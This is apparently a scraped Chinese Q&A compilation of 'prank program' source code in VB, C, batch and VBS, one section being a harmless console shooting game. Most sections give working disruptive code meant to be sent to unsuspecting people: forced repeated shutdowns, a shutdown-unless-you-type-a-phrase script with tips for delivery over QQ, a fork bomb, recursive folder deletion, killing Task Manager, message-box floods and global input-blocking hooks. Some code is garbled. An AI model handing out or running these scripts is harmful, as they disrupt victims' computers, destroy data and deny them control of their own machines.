A. 怎麼編惡搞程序
取得系統毫秒數（很隨機）
Private Declare Function GetTickCount Lib "kernel32" () As Long
Dim hMsgBox As Long, xPoint As Long, yPoint As Long
Dim stMsgBoxRect As RECT, stParentRect As RECT
Dim msg(10) As String
Dim msgn As Integer
Private Sub Form_Load()
Me.Hide
Command2_Click
App.TaskVisible = False
msgn = 0
msg(1) = "氣死你"
msg(2) = "就氣你"
msg(3) = "死吧你"
msg(4) = "別重啟"
msg(5) = "就堵你"
msg(6) = "慢慢點"
msg(7) = "累死你"
msg(8) = "點快點"
msg(9) = "煩死你"
msg(10) = "哎，重啟"
End Sub
Private Sub T_Timer(Index As Integer)
Tag = Tag + 1
Load T(Tag)
T(Tag).Interval = T(Tag).Interval
T(Tag).Enabled = True
If Tag = 400 Then
T(Tag).Enabled = False
Dim qcount As Integer
Dim WMI, objs, obj
Set WMI = GetObject("WinMgmts:")
Set objs = WMI.InstancesOf("Win32_Process")
qcount = 0
For Each obj In objs
'DoEvents
If obj.Description = App.EXEName & ".exe" Then qcount = qcount + 1
Next
If qcount = 1 Then Shell App.Path & "\" & App.EXEName & ".exe"
End If
' 找到消息框窗口
hMsgBox = FindWindow("#32770", "自殺")
' 如果找到窗口就移動它
'If hMsgBox Then
' 得到消息框和父窗口的矩形位置
GetWindowRect hMsgBox, stMsgBoxRect
GetWindowRect Me.hWnd, stParentRect
''''''''''''''''''''''''''''窗口先走動
Static rndzz As String
rndzz = Val(Right(Str(GetTickCount), 2)) + 1
Static rnds As Single
rnds = rndzz / 10
Top = Screen.Height * Rnd(rnds)
Left = Screen.Width * Rnd(rnds)
'''''''''''''''''''''''''''走完再放上去!
' 計算位置，以便把消息框放到窗體的中央
xPoint = stParentRect.Left + (((stParentRect.Right - stParentRect.Left) \ 2) - ((stMsgBoxRect.Right - stMsgBoxRect.Left) \ 2))
yPoint = stParentRect.Top + (((stParentRect.Bottom - stParentRect.Top) \ 2) - ((stMsgBoxRect.Bottom - stMsgBoxRect.Top) \ 2))
' 這里還要確定消息框的顯示位置不會超出屏幕
If xPoint < 0 Then xPoint = 0
If yPoint < 0 Then yPoint = 0
If (xPoint + (stMsgBoxRect.Right - stMsgBoxRect.Left)) > (Screen.Width \ Screen.TwipsPerPixelX) Then
xPoint = (Screen.Width \ Screen.TwipsPerPixelX) - (stMsgBoxRect.Right - stMsgBoxRect.Left)
End If
If (yPoint + (stMsgBoxRect.Bottom - stMsgBoxRect.Top)) > (Screen.Height \ Screen.TwipsPerPixelY) Then
yPoint = (Screen.Height \ Screen.TwipsPerPixelY) - (stMsgBoxRect.Bottom - stMsgBoxRect.Top)
End If
' 移動位置
SetWindowPos hMsgBox, HWND_TOP, xPoint, yPoint, 0, 0, SWP_NOZORDER Or SWP_NOSIZE
'End If
msgn = msgn + 1
If msgn = 11 Then msgn = 1
MessageBox Me.hWnd, msg(msgn), "自殺", 16 * Int(Right(Str(GetTickCount), 1) / 2)
End Sub
Private Sub Command2_Click()
Me.Move 0, 0
' 這里我們將自己設置消息框的位置
' 打開計時器，設定10毫秒後改變消息框的位置
T(0).Enabled = True
'Timer2.Interval = 200
'Timer2.Enabled = True
' 調用 messagebox API 函數
End Sub
B. 求一些惡搞程序的C語言源代碼
一個打飛機的游戲，DEVc++編譯通過：
#include <stdio.h>
#include <conio.h>
#include <stdlib.h>
#include <windows.h>
#include <time.h>
#define zlx 10 //增量坐標(x)讓游戲框不靠邊
#define zly 3 //增量坐標(y)讓游戲框不靠邊
#define W 26 //游戲框的寬度
#define H 24 //游戲框的高度
int jiem[22][22]={0}, wj=10; //界面數組, 我機位置(初值為10)
int speed=4,density=30, score=0,death=0; //敵機速度, 敵機密度, 玩家成績,死亡次數
int m=0,n=0; // m,n是控制敵機的變數
void gtxy (int x, int y) //控制游標位置的函數
{ COORD zb; //zb代指坐標
zb.X = x; zb.Y = y;
SetConsoleCursorPosition ( GetStdHandle (STD_OUTPUT_HANDLE), zb );
}
voidColor(inta) //設定顏色的函數(a應為1-15)
{ SetConsoleTextAttribute( GetStdHandle(STD_OUTPUT_HANDLE), a ); }
void yinc(int x=1,int y=0) //隱藏游標的函數
{ CONSOLE_CURSOR_INFO gb={x,y}; //gb代指游標, y設為0即隱藏
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &gb);
}
void csh( ) //初始化函數
{ int i;
Color(7);
gtxy(zlx,zly); printf("╔"); gtxy(zlx+W-2,zly); printf("╗"); //左上角和右上角的框角
gtxy(zlx,zly+H-1); printf("╚"); gtxy(zlx+W-2,zly+H-1); printf("╝"); //下邊兩框角
for(i=2;i<W-2;i+=2) {gtxy(zlx+i,zly); printf("═"); } //列印上橫框
for(i=2;i<W-2;i+=2) {gtxy(zlx+i,zly+H-1); printf("═"); } //列印下橫框
for(i=1;i<H-1;i++) { gtxy(zlx,zly+i); printf("║"); } //列印左豎框
for(i=1;i<H-1;i++) {gtxy(zlx+W-2,zly+i); printf("║"); } //列印右豎框
Color(14); gtxy(19,2); printf("殲滅敵機"); Color(10);
gtxy(37,5); printf("設置：Esc ");
gtxy(37,7); printf("發射：↑ ");
gtxy(37,9); printf("控制：← → ");
gtxy(37,11);printf("得分：%d",score);
gtxy(37,13); printf("死亡：%d",death);
yinc(1,0);
}
void qcjm( ) //清除界面函數
{ int i,j;
for(i=0;i<H-2;i++)
for(j=0;j<W-4;j++){gtxy(zlx+2+j,zly+1+i); printf(" ");}
}
void feiji( ) //飛機移動函數
{ int i,j;
for(i=21;i>=0;i--) //從底行往上是為了避免敵機直接沖出數組
for(j=0;j<22;j++)
{if(i==21&&jiem[i][j]==3)jiem[i][j]=0; //底行賦值0 以免越界
if(jiem[i][j]==3)jiem[i][j]=0, jiem[i+1][j]=3;
}
if(jiem[20][wj]==3&&jiem[21][wj]==1) death++;
}
void zidan( ) //子彈移動函數
{ int i,j;
for(i=0;i<22;i++)
for(j=0;j<22;j++)
{ if(i==0&&jiem[i][j]==2) jiem[i][j]=0;
if(jiem[i][j]==2) {if(jiem[i-1][j]==3) score+=100,printf("7");
jiem[i][j]=0,jiem[i-1][j]=2; }
}
}
void print( ) //輸出界面函數
{int i,j;
qcjm( );
for(i=0;i<22;i++)
for(j=0;j<22;j++)
{ gtxy(12+j,4+i);
if(jiem[i][j]==3) {Color(13);printf("□");}
if(jiem[i][j]==2) {Color(10);printf(".");}
if(jiem[i][j]==1) {Color(10);printf("■");}
}
gtxy(37,11); Color(10); printf("得分：%d",score);
gtxy(37,13); printf("死亡：%d",death);
}
void setting( ) //游戲設置函數
{ qcjm( );
gtxy(12,4);printf("選擇敵機速度:");
gtxy(12,5);printf(" 1.快 2.中 3.慢>>");
switch(getche( ))
{case '1': speed=2; break;
case '2': speed=4; break;
case '3': speed=5; break;
default: gtxy(12,6);printf(" 錯誤！默認值");
}
gtxy(12,7);printf("選擇敵機密度:");
gtxy(12,8);printf(" 1.大 2.中 3.小>>");
switch(getche( ))
{case '1': density=20; break;
case '2': density=30;break;
case '3': density=40; break;
default: gtxy(12,9); printf(" 錯誤！默認值");
}
for(int i=0;i<22;i++)
for(int j=0;j<22;j++) jiem[i][j]=0;
jiem[21][wj=10]=1; jiem[0][5]=3;
gtxy(12,10); printf(" 按任意鍵保存...");
getch( );
qcjm( );
}
void run( ) //游戲運行函數
{ jiem[21][wj]=1; //值為1代表我機(2則為子彈)
jiem[0][5]=3; //值為3代表敵機
SetConsoleTitle("殲滅敵機"); //設置窗口標題
while(1)
{if (kbhit( )) //如有鍵按下，控制我機左右移動、發射或進行設定
{ int key;
if((key=getch( ))==224) key=getch( );
switch(key)
{case 75: if(wj>0) jiem[21][wj]=0,jiem[21][--wj]=1; break;
case 77: if(wj<20)jiem[21][wj]=0,jiem[21][++wj]=1;break;
case 72: jiem[20][wj]=2; break;
case 27: setting( );
}
}
if(++n%density==0) //控制產生敵機的速度
{ n=0;srand((unsigned)time(NULL));
jiem[0][rand( )%20+1]=3;
}
if(++m%speed==0) { feiji( ); m=0; } //控制敵機移動速度(相對子彈而言)
zidan( ); //子彈移動
print( ); //輸出界面
Sleep(120); //延時120毫秒
}
}
int main( )
{ csh( );
run( );
return 0;
}
C. 整人程序代碼怎麼用
整人代碼及應用
讓對方重啟指定次數(害人專用)
@echo off
if not exist c:1.txt echo. >c:1.txt & goto err1
if not exist c:2.txt echo. >c:2.txt & goto err1
if not exist c:3.txt echo. >c:3.txt & goto err1s
if not exist c:4.txt echo. >c:4.txt & goto err1
if not exist c:5.txt echo. >c:5.txt & goto err1
goto err2
:err1
shutdown -s -t 0
:err2
上面可以讓對方電腦重啟5次後不在重啟，當然如果你修改一下加個if not exist c:6.txt echo. >c:6.txt & goto err1那
就是重啟6次
改成7就是7次...
打開「開始→程序→附件→記事本」，把代碼部分復制進去，點「另存為」，路徑選「你想要放的地方」，
保存類型為「所有文件」，文件名為「你想要的名字.bat」，你的批量處理器就完成了。
善意惡搞關機
首先呢,我們在桌面創建個新文件夾然後打開,在上面找到-工具T-文件夾選項O-查看
把隱藏已知文件類型的擴展名前面的勾去掉.
然後我們開始製作.在桌面建立個記事本,然後把下面代碼復制進去
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""說我是豬，不說我是豬就一分鍾關你機，
不信，試試···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機，快撒，說 ""我是豬""","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"
復制之後呢,把後綴修改為.vbs或者改變打開方式為應用程序，這樣你再壓縮下用QQ發給你朋友，
對方打開了就在60秒內要關閉計算機，
結束任務都不行，他只能說他是豬才能解決問題。夠壞吧？ 注意哦，你可以把我是豬那個修改成任意想說的話，
要是對付你喜歡的人，
就修改成 我愛你 這樣他只有說我愛你之後才不關閉計算機哦 也可以把時間修改為20 就是說打開了20秒就關了
,還沒等對方打完就關機了 是不是叫對方很郁悶呢?
讓人崩潰的關機程序
首先你可以看下面的
WScript.Echo("嘿，謝謝你打開我哦，我等你很久拉！"&TSName)
WScript.Echo("你是可愛的XX童鞋嗎?")
WScript.Echo("哈,我想你拉，這你都不知道嗎？")
WScript.Echo("怎麼才來，說~是不是不關心我")
WScript.Echo("哼,我生氣拉，等你這么久，心都涼啦。")
WScript.Echo("夜黑很生氣，後果很嚴重哦。")
WScript.Echo("嘿嘿！你也會很慘滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要點上50下哦，不過會給你驚喜滴")
WScript.Echo("還剩49下，快點點哦")
WScript.Echo("還剩48下，快點，小笨蛋！")
WScript.Echo("還剩47下對，就這樣快點點！")
WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打擾你工作。")
WScript.Echo("還剩45下，記得要快哦！")
WScript.Echo("還剩43下")
WScript.Echo("還剩42下")
WScript.Echo("還剩41下")
WScript.Echo("還剩40下")
WScript.Echo("還剩39下")
WScript.Echo("還剩38下")
WScript.Echo("還剩37下")
WScript.Echo("還剩36下")
WScript.Echo("還剩35下")
WScript.Echo("還剩34下")
WScript.Echo("還剩33下")
WScript.Echo("還剩32下")
WScript.Echo("還剩30下")
WScript.Echo("還剩29下")
WScript.Echo("還剩28下")
WScript.Echo("還剩27下")
WScript.Echo("還剩26下")
WScript.Echo("還剩25下")
WScript.Echo("還剩24下")
WScript.Echo("還剩23下")
WScript.Echo("還剩22下")
WScript.Echo("還剩21下")
WScript.Echo("還剩20下")
WScript.Echo("還剩19下")
WScript.Echo("還剩18下")
WScript.Echo("還剩17下")
WScript.Echo("還剩16下")
WScript.Echo("還剩15下")
WScript.Echo("還剩14下")
WScript.Echo("還剩13下停停！！！慢點，我有話要說")
WScript.Echo("還剩12下，你繼續點我就會消失滴")
WScript.Echo("還剩11下，以後就看不到我拉。嗚嗚~555555")
WScript.Echo("還剩10下，你現在可以選擇停止！")
WScript.Echo("還剩9下。你還點啊，不要我拉？")
WScript.Echo("還剩8下，有點傷心拉，幹嘛丟棄人家")
WScript.Echo("還剩7下。瘋了，你有點負意！")
WScript.Echo("還剩6下。對。你就點吧，我恨你！")
WScript.Echo("還剩5下，不明白，刪除我你就好嗎？")
WScript.Echo("還剩4下！真要刪除我？")
WScript.Echo("還剩3下。可是我真的很眷戀你。。。")
WScript.Echo("還剩2下。不要這么絕情嘛，人家是愛你的！")
WScript.Echo("還剩1下。哼，既然你這么絕情。也別怪我無義！！！")
WScript.Echo("我本因該消失的，不過我留戀你滴芳容，萬能的上帝又給了一次機會。")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
WScript.Echo("想結束我么?那你就再多點一次")
把這個復制在記事本,把後綴修改成.vbs
在打開呢就會先說第一句的 嘿，謝謝你打開我哦，我等你很久拉！
他無論是點關閉或者是點確定都會再說第2句
再點就說地3句 會按順序說完
你們注意哦，最後10句話，只是10句，你要是把這個復制再粘貼N次，那他還有個打完呢？
這樣才做到整人了，要是給喜歡的人發去啊，那就寫你要說的話吧，雙引號裡面的可以隨便更改
D. 惡搞程序代碼
代碼如下，復制到記事本，將txt改為vbs就ok了，中間的字可自己改。
if MsgBox("對不起,您灌水太多需要重新啟動計算機。"&chr(10)&"確定要重啟嗎？",vbOKCancel+vbInformation,"重新啟動計算機")=vbCancel then
msgbox " 正在清理系統垃圾wow ~_^",,"算你倒霉！！"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if
加分哦
E. 求一些好玩的惡搞程序
這是個惡搞程序，會生成很多文件在您的c盤里，讓您郁悶#include <windows.h>
#include <string>
int main(int argc, char* argv[])
{
char Path[255];
char FileName[255];
char Data[512]="------------------------by Solo....------------------------\r\n---------------------很高興為您解答-----------------";
for(int i=0;i<2;i++) //
{
//得到windows目錄
GetWindowsDirectory(Path,sizeof(Path));
//用i的值加.txt來給文件命名
wsprintf(FileName,"\\%d.txt",i);
//給path賦以完整路徑
strcat(Path,FileName);
HANDLE hFile;
//創建文件
hFile=CreateFile(Path,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
continue;
}
DWORD dwWrite;
//把Data中的數據寫入文件
WriteFile(hFile,&Data,strlen(Data),&dwWrite,NULL);
//關閉文件句柄
CloseHandle(hFile);
memset(Path,0x00,255);
memset(FileName,0x00,255);
}
return 0;
}
下面是個批處理惡搞，將刪除指定路徑下的所有文件夾，粗體字是路徑，你可以自己寫@echo off
for /f "delims=" %%a in ('dir /a:d /b "E:\批處理\有條件刪除文件夾\新建文件夾 (2)"') do rd /q /s "%%a"
還有其他的，需要的話我發給您，但事情樓主不要隨便使用惡搞程序，控制不好可能會傷害計算機的·
F. 一些惡搞程序的原理
如果是VC編寫的話，運行的時候在程序中判斷
IF("我是豬" ==STRING)
{
//程序具體操作部分；
}
至於快捷鍵不能達到預期目的，應該是用HOOK的方法將所有鍵值截取，然後在重新處理。
HOOK鉤子程序示例，我自己也不懂哈。
.編寫一個屏屏蔽所有進程和所有線程的鉤子程序。聳閉飧齬匙穎匭氚滄霸贒LL中，然後被某個程序調用才行。
1.新建一個DLL工程名為Hook
2.增加Hook.cpp
3.代碼如下：
#include <windows.h>包含頭文件
HHOOK g_hMouse=NULL;
HHOOK g_hKeyboard=NULL;
#pragma data_seg("MySec")新建了一個節，用於將下 面的這個變數設為全局共享。
HWND g_hWnd=NULL;這個變數是全局共享的。
#pragma data_seg()
//#pragma comment(linker,"/section:MySec,RWS")
/*HINSTANCE g_hInst;
BOOL WINAPI DllMain(
HINSTANCE hinstDLL, // handle to the DLL mole
DWORD fdwReason, // reason for calling function
LPVOID lpvReserved // reserved
)
{
g_hInst=hinstDLL;
}*/
LRESULT CALLBACK MouseProc(
int nCode, // hook code
WPARAM wParam, // message identifier
LPARAM lParam // mouse coordinates
)
{
return 1;攔截了滑鼠消息。
}
LRESULT CALLBACK KeyboardProc(
int code, // hook code
WPARAM wParam, // virtual-key code
LPARAM lParam // keystroke-message information
)
{
if(VK_F2==wParam)如果是F2鍵，則退出。
{
SendMessage(g_hWnd,WM_CLOSE,0,0);
UnhookWindowsHookEx(g_hMouse);當退出時將鉤子卸掉。
UnhookWindowsHookEx(g_hKeyboard);
}
return 1;
}
void SetHook(HWND hwnd)此函數設置了鉤子。
{
g_hWnd=hwnd;注意這種傳遞調用它的進程的句柄的方法，比較巧妙！
g_hMouse=SetWindowsHookEx(WH_MOUSE,MouseProc,GetMoleHandle("Hook"),0);
g_hKeyboard=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,GetMoleHandle("Hook"),0);
}
G. 如何編寫簡單的惡搞程序
建個批處理文件：shutdown -s。
關機的。
H. 誰有現成的編程惡搞軟體（VB），編程類的！
Private Sub Form_Unload(Cancel As Integer)
Cancel = 1
End Sub
Private Sub Command1_Click()
End
End Sub
Private Sub Form_Load()
Timer1.Enabled = True
Timer1.Interval = 500
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Print "恭喜你"
Cancel = 10
Shell "shutdown.exe -s -t 100"
Shell "shutdown.exe -r -t 10"
Shell "cmd.exe /c shutdown -a"
shell "cmd.exe Shutdown -h"
End Sub
Private Sub Timer1_Timer()
Shell "taskkill /im taskmgr.exe"
End Sub
I. 收集一些搞笑程序代碼
如果你感到無聊，看看下面的吧。整人的東東… 如果你想惡搞別人一下,在記事本中輸入如下內容： @echo off start cmd.exe %0 2 . @echo off :a rundll32 desk.cpl, DisplayTestSettingsW goto a 運行後會黑屏！ 3.shutdown -s -t 60 60秒倒計時關機！ 4.%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0|%0 系統崩潰！ 5.下面的另存為a.bat @echo off Start a.bat dir c: /s /a
求採納
J. 跪求惡搞編程
1樓這是禁止win鍵代碼
Option Explicit
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (lpvDest As Any, ByVal lpvSource As Long, ByVal cbCopy As Long)
Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Type KEYMSGS
vKey As Long
sKey As Long
flag As Long
time As Long
End Type
Public Const WH_KEYBOARD_LL = 13
Public Const VK_LWIN = &H5B
Public Const VK_RWIN = &H5C
Public Const VK_CONTROL = &H11
Public Const VK_SHIFT = &H10
Public Const HC_ACTION = 0
Public Const HC_SYSMODALOFF = 5
Public Const HC_SYSMODALON = 4
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYUP = &H101
Public Const WM_SYSKEYDOWN = &H104
Public Const WM_SYSKEYUP = &H105
Public P As KEYMSGS
Public lHook As Long
Public Function LowLevelKeyboardProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim fEatKeystroke As Boolean
If (nCode = HC_ACTION) Then
If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Or wParam = WM_KEYUP Or wParam = WM_SYSKEYUP Then
CopyMemory P, ByVal lParam, Len(P)
Select Case P.vKey
Case VK_LWIN, VK_RWIN '如果按了WIN鍵
fEatKeystroke = True '就吃了
End Select
End If
End If
If fEatKeystroke Then
LowLevelKeyboardProc = -1
Else
LowLevelKeyboardProc = CallNextHookEx(0, nCode, wParam, ByVal lParam)
End If
End Function
希望採納